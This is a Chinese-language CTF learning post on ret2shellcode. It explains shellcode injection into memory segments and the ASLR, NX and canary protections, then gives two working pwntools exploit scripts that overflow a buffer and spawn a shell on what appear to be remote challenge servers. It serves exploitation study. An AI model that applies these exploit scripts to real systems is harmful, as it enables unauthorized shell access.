ret2shellcode 学习

文章目录

    • ret2shellcode

ret2shellcode

shellcode 之前提了,ret2shellcode是指攻击者需要自己将调用shell的机器码(也称shellcode)注入至内存中,随后利用栈溢出复写return_address,进而使程序跳转至shellcode所在内存。

  1. 向stack段中注入shellcode

    能向栈中注入shellcode的情况非常少见,这是因为目前的操作系统及程序一般都会开启对栈的保护。比较常见的保护手段有:

    • ASLR(Address Space Layout Randmization):该防御手段在Linux和Windows中都非常常见。其功能是将一部分内存段(如栈等)的地址进行随机偏移,使得攻击者即使成功注入了shellcode也难以定位其位置,进而达到防御的目的;
    • The NX(No-eXecute) bits:该防御手段使得部分内存段(如堆、栈,bss。data等)不可执行,攻击者即使成功注入了shellcode也无法执行其中代码,进而达到防御的目的;
    • Canary:该防御手段的原理是在栈底插入cookie信息,函数返回时将检测该信息是否被改变,若被改变则可断定发生了溢出,进而可以立刻终止程序运行。
  2. 向bss段中注入shellcode

    在虚拟内存中,bss段主要保存的是没有初值的全局变量或静态变量(在汇编语言中通过占位符?声明)。若某个程序的bss段可写且可执行,攻击者就可以尝试将shellcode注入写入全局变量或静态变量中。

  3. 向data段中注入shellcode

    在虚拟内存中,data段主要保存的是已经初始化了的全局变量或静态变量。其攻击思路与向bss段中注入shellcode非常类似。

  4. 向heap段中注入shellcode

    heap段主要保存的是通过动态内存分配产生的变量。若某个程序的heap段可写且可执行,攻击者就可以尝试将shellcode注入至动态分配的变量中。

看几道程序吧。

image-20240124161522826

ida 反编译一下

 init();
  write(1, "Please Input:\n", 0xEu);
  read(0, &str, 0x100u);
  puts("What,s your name ?:");
  return read(0, buf, 0x100u);

我们发现第一个 read 读入 str ,而 str 在 bss 段里,说明它是一个未初始化的全局变量,vmmap 发现这个段有可执行权限。

image-20240124150322045

那我们就可以利用第一个 read 读取 shellcode 到 bss 段,第二个 read 栈溢出来执行 shellcode 的地址

from pwn import *

# io = process('./Easy_ShellCode')
io = remote("120.46.59.242",2109)
context.arch = 'i386'

padding = 0x68 + 4
bss_addr = 0x0804A080
shellcode = asm(shellcraft.sh())

io.sendlineafter("Please Input:\n",shellcode)

payload = b'a'*padding+p32(bss_addr)

io.sendlineafter('What,s your name ?:\n',payload)
io.interactive()

再看一道 64 位的,ida 发现

 printf("%p\n", v4);
 gets(v4);

打印 v4 地址,然后从 v4 处读取数据。

ret2shellcode 学习_第1张图片

NX unknow ,说明段可执行,gdb 调试一下。打印出 v4 地址

0x7fffffffdf90

vmmap 看一下,确实可执行

image-20240124164635410

所以思路就是获取 v4 地址。shellcode + 垃圾数据 + v4地址,这样返回 v4 地址就可以执行其 shellcode

from pwn import *

context.arch = 'amd64'
# io = process('./pwn2')
io = remote("120.46.59.242",2061)

padding = 120
shellcode = asm(shellcraft.amd64.sh())

v4_addr = int(io.recvline()[:-1],16)
payload = shellcode.ljust(padding,b'a') + p64(v4_addr) # shellcode + 垃圾数据长度要 = padding


io.sendline(payload)
io.interactive()

你可能感兴趣的:(学习,安全)